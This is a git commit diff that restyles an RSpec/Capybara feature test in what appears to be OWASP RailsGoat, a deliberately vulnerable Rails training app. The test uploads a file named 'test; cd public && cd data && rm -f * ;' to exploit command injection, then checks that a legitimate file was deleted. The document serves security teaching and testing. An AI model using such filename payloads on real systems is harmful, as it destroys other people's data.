chore(rubocop): giganto rubocop commit.

muahahahah
This commit is contained in:
Joseph Mastey
2017-12-05 18:46:21 -06:00
parent 284cd8811c
commit 9902345291
120 changed files with 743 additions and 635 deletions
+14 -13
View File
@@ -1,29 +1,30 @@
require 'spec_helper'
require 'tmpdir'
# frozen_string_literal: true
require "spec_helper"
require "tmpdir"
feature 'command injection' do
feature "command injection" do
before do
UserFixture.reset_all_users
@normal_user = UserFixture.normal_user
end
scenario "attack\nTutorial: https://github.com/OWASP/railsgoat/wiki/A1-Command-Injection", :js => true do
scenario "attack\nTutorial: https://github.com/OWASP/railsgoat/wiki/A1-Command-Injection", js: true do
login @normal_user
legit_file = File.join(Rails.root, 'public', 'data', 'legit.txt')
File.open(legit_file, 'w') { |f| f.puts 'totes legit' }
legit_file = File.join(Rails.root, "public", "data", "legit.txt")
File.open(legit_file, "w") { |f| f.puts "totes legit" }
visit "/users/#{@normal_user.user_id}/benefit_forms"
Dir.mktmpdir do |dir|
hackety_file = File.join(dir, 'test; cd public && cd data && rm -f * ;')
File.open(hackety_file, 'w') { |f| f.print 'mwahaha' }
within('.new_benefits') do
attach_file 'benefits_upload', hackety_file
find(:xpath, "//input[@id='benefits_backup']", :visible => false).set 'true'
hackety_file = File.join(dir, "test; cd public && cd data && rm -f * ;")
File.open(hackety_file, "w") { |f| f.print "mwahaha" }
within(".new_benefits") do
attach_file "benefits_upload", hackety_file
find(:xpath, "//input[@id='benefits_backup']", visible: false).set "true"
end
click_on 'Start Upload'
click_on "Start Upload"
end
pending if verifying_fixed?
expect(File.exists?(legit_file)).to be_falsey
expect(File.exist?(legit_file)).to be_falsey
end
end